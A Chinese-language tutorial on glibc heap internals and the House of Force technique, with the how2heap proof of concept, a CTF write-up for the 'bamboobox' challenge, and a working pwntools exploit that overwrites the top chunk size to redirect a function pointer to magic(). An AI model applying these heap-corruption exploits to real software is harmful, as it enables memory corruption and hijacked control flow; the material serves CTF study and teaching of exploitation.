前置知识

  • top_chunk也有用上堆块的隐式链表技术

top_chunk运行机制

  • top_chunk是一个比较特殊的chunk,这里就先简单叙述一下top_chunk的运行机制

    • 当一个程序一次malloc都没有进行的时候,它并不会被分配top_chunk,此时的堆并没有被初始化。
    • 当程序第一次使用malloc的时候,先会通过系统调用向操作系统申请内存,这个申请过来的内存会放入top_chunk这边,此时av->top(top是一个指向chunk的指针)会指向top_chunk(准确的来说是指向top_chunk的起始位置,即指向top_chunkprev_size位),然后会从top_chunk中切割一个一块chunk给用户使用。(切割后会更新av->top,此时top指向的是更新后的top_chunk的起始地址)****
    • 然后当程序再次使用malloc申请一个堆内存的时候
      • 先会判断bins中是否有符合要求的空闲堆块,如果没有就从Top chunk中切割一块出来,切割出来后会更新main_arenatop指针。
      • 如果我们申请的堆块大小大于Top_chunk现有的大小,Top_chunk还会与bins中空闲的chunk合并,查看合并后的top_chunk的大小是否满足我们malloc所申请的堆块大小。(合并后的Top_chunk可能会放入unsorted_bin中,这个机制将在house of orange中利用)
      • 以上都不满足的话就会通过mmap或者brk这两个系统调用,向操作系统申请额外的内存,扩展到Top_chunk中。
  • 这里还有一个要注意的地方就是,

    • glibc2.27即以前,在第一次调用malloc时,通常会分配给程序中的top_chunk分配128KB左右的大小,这与这个定义有关EFAULT_MMAP_THRESHOLD=128kb
    • glibc2.28开始,在第一次调用malloc时,就会给top_chunk分配256KB左右的大小
    • 还有一点要注意的就是,不一定每次分配都是128KB大小,还会因为页对齐等会导致申请过来的top_chunk大小在128KB左右浮动,可能是132KB等。
  • 以上就是top_chunk的运行机制,接下来给一个示例程序进行动态调试看看。

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
#include<malloc.h>
int main()
{
int *p1,*p2,*p3;
p1 = malloc(0x10);
p2 = malloc(0x20000);
p3 = malloc(0x10000);
return 0;
}
# gcc -o lab1 lab1.c
# 环境:ubuntu16.04,glibc2.23
  • 接下来我们对该程序进行动态调试,这样来查看top_chunk的具体流程,当我们一次malloc都没调用的时候就会出现以下情况
    • 程序的堆空间还没有被初始化
    • main_arena中的top指针还是空的

image-20250211222615489

  • 接下来我们调用一次malloc后就会出现如下情况
    • 这个时候我们就已经申请了一个0x20字节的堆块
    • 此时top_chunk也有大小了。(top_chunk的大小可以算一下看看,是不是接近128KB)
    • 此时我们的top指针也指向了top_chunk的起始地址

image-20250211222823384

  • 接下来我们再调用一个malloc函数,这个时候我们又申请了一个0x20010字节大小的堆块,这时会观察到如下情况
    • Top_chunk的size位变成了0xfd1,如果不包括标志位的话,刚好0x20010+0xfd0=0x20fe0
    • 此时的top指针仍然指向的是top_chunk的起始位置。
    • 此时的top_chunk的内存足够,还不需要向操作系统申请内存空间

image-20250211223145443

  • 接下来再我们调用第3次的malloc函数,并查看堆块
    • 这时top指针还是指向的是堆块的头部
    • 但是top_chunk的size位变成了0x20fc1,这就是向操作系统申请增加内存后的再分配给第3个堆块的结果。

image-20250211223457677

top_chunk源码

  • 这里给出malloc.c_int_malloc中关于top_chunk的相关源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
use_top:
/*
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).

We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhausted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/

victim = av->top;
size = chunksize (victim);

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* When we are using atomic ops to free fast chunks we can get
here for all block sizes. */
else if (have_fastchunks (av))
{
malloc_consolidate (av);
/* restore original bin index */
if (in_smallbin_range (nb))
idx = smallbin_index (nb);
else
idx = largebin_index (nb);
}

/*
Otherwise, relay to handle system-dependent cases
*/
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
  • 这里还给出源码中av->top中的av这个结构体实例对应着的具体的结构体,这边av是一个结构体指针,其指向的就是这个结构体,这个结构体变量名就是我们经常见到的main_arena
  • main_arena其实是一个全局变量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;

/* Flags (formerly in max_fast). */
int flags;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

实验

  • 这个实验也是来自how2heapglibc2.23house-of-force
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
/*

This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )

Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04

*/


#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
fprintf(stderr, "\nWelcome to the House of Force\n\n");
fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n");

fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
fprintf(stderr, "Its current value is: %s\n", bss_var);



fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------

fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");

/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

void* ctr_chunk = malloc(100);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");

fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);

assert(ctr_chunk == bss_var);


// some further discussion:
//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");

//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);

//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}
  • 同样地,为了更好的代码审计,我将该代码进行中文翻译
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97

/*
这个Poc在开启ASLR保护的时候也能使用.
它将劫持got表,因此为了能准确应用这个技术RELRO保护必须关闭.
如果开启RELRO保护,我们总能尝试返回一个chunk到栈上这个方法被 Malloc Des Maleficarum提出
( http://phrack.org/issues/66/10.html )
测试在ubuntu14.04,64位,ubuntu 18.04
*/

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
fprintf(stderr, "\n欢迎来到 house of Force\n\n");
fprintf(stderr, "House of Force 的利用方法是修改Top chunk并且让malloc返回一个任意值.\n");
fprintf(stderr, "Top chunk 是一个特别的chunk,它在内存中的最后一个堆块 "
"并且当malloc向操作系统申请更多的空间后这个chunk的起始地址将升高.\n");

fprintf(stderr, "\n最后,我们将使用Top chunk的这种运行机制去修改的值为: %p 的变量.\n", bss_var);
fprintf(stderr, "它当前的值为: %s\n", bss_var);



fprintf(stderr, "\n让我们占用一部分Top chunk的空间,分配给第一个申请的chunk.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "这个256字节的chunk已经被分配在地址为: %p 处.\n", p1 - 2);

fprintf(stderr, "\n现在堆由两个部分组成: 我们申请的堆块和Top chunk.\n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "我们已经分配的chunk对齐后的真实size为: %ld.\n", real_size + sizeof(long)*2);

fprintf(stderr, "\n现在让我们模拟一个能修改Top Chunk头部的漏洞\n");

//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\nTop chunk起始地址为: %p\n", ptr_top);

fprintf(stderr, "\n使用一个很大的值修改Top Chunk的size位,以便我们能确保malloc不会调用mmap.\n");
fprintf(stderr, "之前的Top chunk的size值为 %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "新的Top chunk的size值为 %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------

fprintf(stderr, "\n新的Top chunk的size非常大,我们在调用使用malloc时,就不会通过mmap系统调用分配堆块.\n"
"接下来,我们将分配一个chunk,使我们能够接近目标区域(通过整数溢出)\n"
"然后我们将能够分配一个chunk,这个chunk正好覆盖在目标区域上方.\n");

/*
* 申请的堆块大小的计算方式为(size = malloc申请的大小 + 存储元数据的空间):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\n我们想修改的目的地址为: %p, 而top chunk的地址为: %p, 所以计算头部的size,\n"
"我们将申请的堆块大小为: %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "正如所料, 这个新的指针指向的是之前top chunk的地址: %p\n", new_ptr - sizeof(long)*2);

void* ctr_chunk = malloc(100);
fprintf(stderr, "\n现在,之后我们要修改的接下去的一个chunk将指向目标缓冲区.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "最后,我们修改这个值Now, we can finally overwrite that value:\n");

fprintf(stderr, "... 之前的字符串为: %s\n", bss_var);
fprintf(stderr, "... 我们把\"YEAH!!!\"赋值进去 ...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... 新的字符串为: %s\n", bss_var);

assert(ctr_chunk == bss_var);


// 一些进一步总结:
//fprintf(stderr, "修改完Top chunk后,我们调用malloc所传递的参数的值需要按照如下计算evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//fprintf(stderr, "因为 main_arena->top 指针被设置到 av->top + malloc_size "
// "并且我们想要设置结果地址为 malloc_got_address-8\n\n");
//fprintf(stderr, "为了达到 malloc_got_address-8 = p2_guessed + evil_size\n\n");
//fprintf(stderr, "av->top将在我们申请很大堆块的堆块之后被设置为malloc_got_address-8\n\n");
//fprintf(stderr, "之后再次调用malloc将返回av->top+8这个地址( 头部元数据占8 字节 ),"
// "\n并且基本上返回一个chunk的地址为(malloc_got_address-8)+8 = malloc_got_address\n\n");

//fprintf(stderr, "这个evil_size的chunk已经被分配在地址为: 0x%08x 的地方\n",p2);
//fprintf(stderr, "main_arena 的值(即av->top) 已经被设置为malloc_got_address-8=0x%08x\n",malloc_got_address);

//fprintf(stderr, "最后再使用malloc将从剩下的空间中申请并且malloc将返回之前注入的av->top+8\n");
}
  • 接下来我们进行动态调试,首先字符串This is a string that we want to overwrite.,是在0x602080地址处
  • 由于调试的时候会出现异常情况从而导致退出gdb调试,并且也没有关闭堆地址随机偏移,这就导致了图片中有些地址会改变
  • 我们先执行一次malloc(0x100),此时实际申请的堆块大小为0x110,此时top_chunksize位是这样的,这时我们程序就有两个堆块。一个是malloc申请回来可以使用的堆块,是不能使用的待申请的堆块top_chunk

image-20250211230308853

image-20250211231056792

  • 接下来我们就修改Top_chunksize位,修改size位为-1,这样Top_chunksize位就会变得非常大,当我们申请一个非常大块的内存时,就不会调用mmap,这个操作。

image-20250211231325122

image-20250211231502341

  • 之后我们就计算malloc要申请的堆块大小。由目的地址 - top_chunk起始地址(即prev_size的地址)-sizeof(long)*4(即0x20字节),由于.bss段的地址比地址小,这时申请的目的地址就会是负数-13725872(十六进制为0xFFFFFFFFFF2E8F50
  • 所以我们要申请的大小就是malloc(-13725872),在申请完之后Top_chunk的地址就会变成0x602070prev_size和size这两个位都在This is a string that we want to overwrite.这个字符串的上方

image-20250211233126674

image-20250211233206525

image-20250211233911215

  • 这个来具体介绍一下为什么Top_chunk的地址会变成0x602070,这里的需要用到整数溢出和堆块的隐式链表技术。这时我们就要查看一下上面top_chunk源码这边,关键点在chunk_at_offset (victim, nb)这边
    • nb这个变量是用户申请的堆块大小,经过对齐等操作后要申请的实际大小。
    • victim这个变量在对top_chunk操作时就是指向top_chunk的起始地址
    • 我们注意到这个语句remainder = chunk_at_offset (victim, nb);,它执行的是victim+nb(这就是一个切割top_chunk的操作),所以当我们堆块申请的是负数的时候victim + nb就会降低top_chunk的地址。(利用隐式链表技术更新top_chunk的指针)
    • 这时就会使得top_chunk的起始地址在bss段中。
    • 这时我们top_chunksize位就会发生整数溢出-1-(-13725888)
    • 这边还要注意一下:我们需要通过申请负值来修改top_chunk的地址为低地址,而负值在malloc中有一处比较会导致非常大,所以必须要溢出修改top_chunk的size位为-1从而绕过判断检查(这是在之后打level1调试出来体会到的)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
      if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/*这边也给出chunk_at_offset (victim, nb)这个宏定义*/
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
typedef struct malloc_chunk* mchunkptr;
  • 这时我们再申请一个堆块,该堆块的prev_sizesize就是top_chunk申请之前的prev_sizesize,而用户使用的内存空间的起始地址就为字符串This is a string that we want to overwrite.的起始地址,这样我们就可以对该地址中的内容进行修改。
  • 就像图中这样我们使用malloc申请了100字节大小的堆块,这样我们就可以修改字符串了

image-20250212000130436

image-20250212000355249

image-20250212000637163

利用方式

  • house of force的这个利用方式并不用伪造堆块,而是通过堆溢出对top_chunksize位进行修改。然后通过计算top_chunk目标地址的偏移,从而达到申请任意地址,从而可以造成任意地址写的效果。

  • 这个漏洞利用方式需要的条件:

    • 堆溢出漏洞,这样就可以修改top_chunk的size位
    • 堆地址,我们需要计算偏移就需要堆地址,如果我们要申请到栈上,这时还需要泄露栈上的地址
    • 如果申请到bss段:需要malloc()能传参数为负值,如果是申请到栈段则malloc()就需要传递很大的值
  • 我们计算偏移需要这样计算:

1
2
3
4
5
6
7
8
The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
new_top = old_top + nb
nb = new_top - old_top
req + 2sizeof(long) = new_top - old_top
req = new_top - old_top - 2sizeof(long)
req = dest - 2sizeof(long) - old_top - 2sizeof(long)
req = dest - old_top - 4*sizeof(long)
# 我们要申请的地址就是req = dest - old_top - 4*sizeof(long)

house-of-force_level1

  • 题目来源:hitcontraning_lab11

level1分析1

  • 先使用查看一下附件的保护机制。发现是开了canary保护,没有开启PIE保护。

image-20250212143154523

  • 接下啦我们反编译一下程序,还是老样子先来查看一下main函数
    • 该程序的main函数,会先初始化输入输出
    • 然后会申请一个堆块,这个堆块是由于存储两个函数地址
    • 然后会调用hello_message函数,输出欢迎用户的信息
    • 之后调用就是进入循环经典堆菜单题目
    • 这里也给出hello_messagegoodbye_meeage这两个函数输出的具体信息

image-20250212143503208

image-20250212143733024

image-20250212143757823

  • 接下来我们查看一下菜单,这时就表面:
    • 1展示数据
    • 2添加数据
    • 3修改数据
    • 4移除数据
    • 5退出

image-20250212143808000

  • 现在我们依照增删改查的顺序查看这个堆块,在做堆题一般是先查看add这样我们会更熟悉申请堆块中堆块位置存储的具体数据
  • 我们先来查看一下add_item()
    • 首先介绍一下三个全局变量,其中numptr_arrayitemlist
      • num:统计着我们申请堆块的次数
      • ptr_array:是一个指针数组,这个数组存储着malloc返回的堆地址
      • itemlist:是一个int类型的数组,这个数组,存储着每个堆块所申请的大小
    • 该程序先对num进行检查,然后用户可以输入要申请堆块的大小(堆块大小不能为0)
    • 之后程序就会申请一个堆块,申请完后会让用户输入内容,并在最后添加\x00
    • 最后num这个全局变量会自增
    • 注:这里的ptr+array+2*i还不知道这个地址如何增加,之后动调看看

image-20250212145117877

  • 接下来查看remove_item()
    • 该函数的功能就是释放堆块,输入我们要释放堆块的索引
    • 然后释放相应堆块,并且将ptr_array对应位置设置为0,然后将itemlist对应位置也设置为0
    • 最后num自减

image-20250212145536356

  • 接下来我们查看change_item(),程序的逻辑大致如下:
    • 我们先要选择我们要修改内容的堆块
    • 之后输入我们要修改多少字节(这边可以造成堆溢出)
    • 然后调用read函数对相应堆块内容进行修改

image-20250212145947815

  • 接下来查看最后一个函数show_item(),查看一下具体逻辑:输出我们已经申请的所有堆块的相应和索引

image-20250212150427261

  • 这边我们还注意到一个magic()函数:这边会直接将flag输出

image-20250212150530614

level1分析2

  • 这题并不能泄露堆地址,但是一开始我们申请了一个堆块用于存储函数指针,这样我们并不用泄露地址可以直接计算偏移,将top_chunk的位置给改到第一次我们malloc(0x10)这个堆块。
  • 这样我们就可以劫持goodbye_message()magic(),这样我们在退出的时候就可以得到flag
  • 为了magic()能成功调用,我们就先在当前目录下创建一个flag文件,存储着flag{test_flag}
  • 接下来我们就来进行动态调试看看,这里我们先动调查看0x6020C8是如何存储malloc返回的指针,这时我们先创建两个堆块,这时我们就发现反编译的一个错误,其实ptr_array并不存在,只有itemlist存在,按照申请的大小堆块地址这个顺序存储(但是这个对于我们这题的思路没啥影响)

image-20250212153144903

  • 所以我们就再尝试申请一个堆块,看看top_chunkdes的偏移,这时我们add(0x10,b'aaaa')
  • 发现我们写入的堆块如下图所示,同时我们可以计算我们要申请的堆块即偏移地址,也就是des-top_chunk_addr-siezof(long long size)*4
  • 0x1C06000-0x1C06040-0x20=-0x60

image-20250212153524257

  • 这时我们尝试不修改top_chunk能不能将top_chunk的起始地址修改为0x1c06000,发现会报错

image-20250212154750639

  • 所以我们在申请负索引的时候就要先修改top_chunksize位,这时我们利用edit()修改了top_chunksize

image-20250212155105634

  • 这时我们再来申请负值,但是这里出现段错误,也就是这段程序这边出现了问题,这边出现的错误情况是我们申请的堆块太小,导致我们的申请负堆块(如果用无符号整数表示就非常大),这时就会导致失败。
  • 还有就是如果我们没有改变top_chunksize位,也会导致报错(所以这时就需要改变top_chunk的size位为-1

image-20250212161907903

image-20250212160319124

  • 所以我们现在先申请一个0x100大小的堆块,然后再修改,计算偏移后再申请负值的堆块,结果就会如下:
1
2
3
4
5
add(0x100,b'aaaa')
gdb.attach(p)
payload = b'a'*0x100+p64(0)+p64(0xFFFFFFFFFFFFFFFF)
edit(0,0x100+0x10,payload)
add(-(0x100+0x10)-(0x10+0x10)-0x10,b'aa')

image-20250212212449635

image-20250212212500567

image-20250212212526653

  • 这个时候就会出现top_chunk的起始地址会在我们这两个函数指针所在堆块的起始地址
  • 这时我们再申请一个0x10大小的堆块,并修改goodbye_message()这个函数指针即值为0x4008b1将其修改为magic()这个函数的地址0x400D49

image-20250212212618493

  • 这时我们再进行退出,这时就会调用0x400D49这个函数即magic()

image-20250212212952487

image-20250212213117354

  • 这时退出就会打印出flag的值

image-20250212213206310

level1_exp

  • exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.terminal = ["tmux", "neww"]
context.log_level = 'debug'
p = process('./bamboobox')

def show():
p.sendlineafter(b'Your choice:',b'1')

def add(size,context):
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Please enter the length of item name:',str(size).encode('utf-8')) #p.sendafter(b'Please enter the name of item:',context)
p.sendlineafter(b'Please enter the name of item:',context)

def edit(index,size,context):
p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
p.sendlineafter(b'Please enter the length of item name:',str(size).encode('utf-8')) #p.sendafter(b'Please enter the new name of the item:',context)
p.sendlineafter(b'Please enter the new name of the item:',context)


def delete(index):
p.sendlineafter(b'Your choice:',b'4')
p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))


add(0x100,b'aaaa')
#gdb.attach(p)
payload = b'a'*0x100+p64(0)+p64(0xFFFFFFFFFFFFFFFF)
edit(0,0x100+0x10,payload)
add(-(0x100+0x10)-(0x10+0x10)-0x10,b'aa')
payload =p64(0)+p64(0x400D49)
add(0x10,payload)
p.sendline(b'5')
#gdb.attach(p)
p.interactive()

house-of-force_level2

level2分析1

level2分析2

level2分析3

level2exp

利用失效

  • glibc2.29加入了一个检测,system_mem这个记录程序向堆块申请的堆块总字节大小。
  • 这个检查就导致了house_of_fore基本失效

image-20250212003427114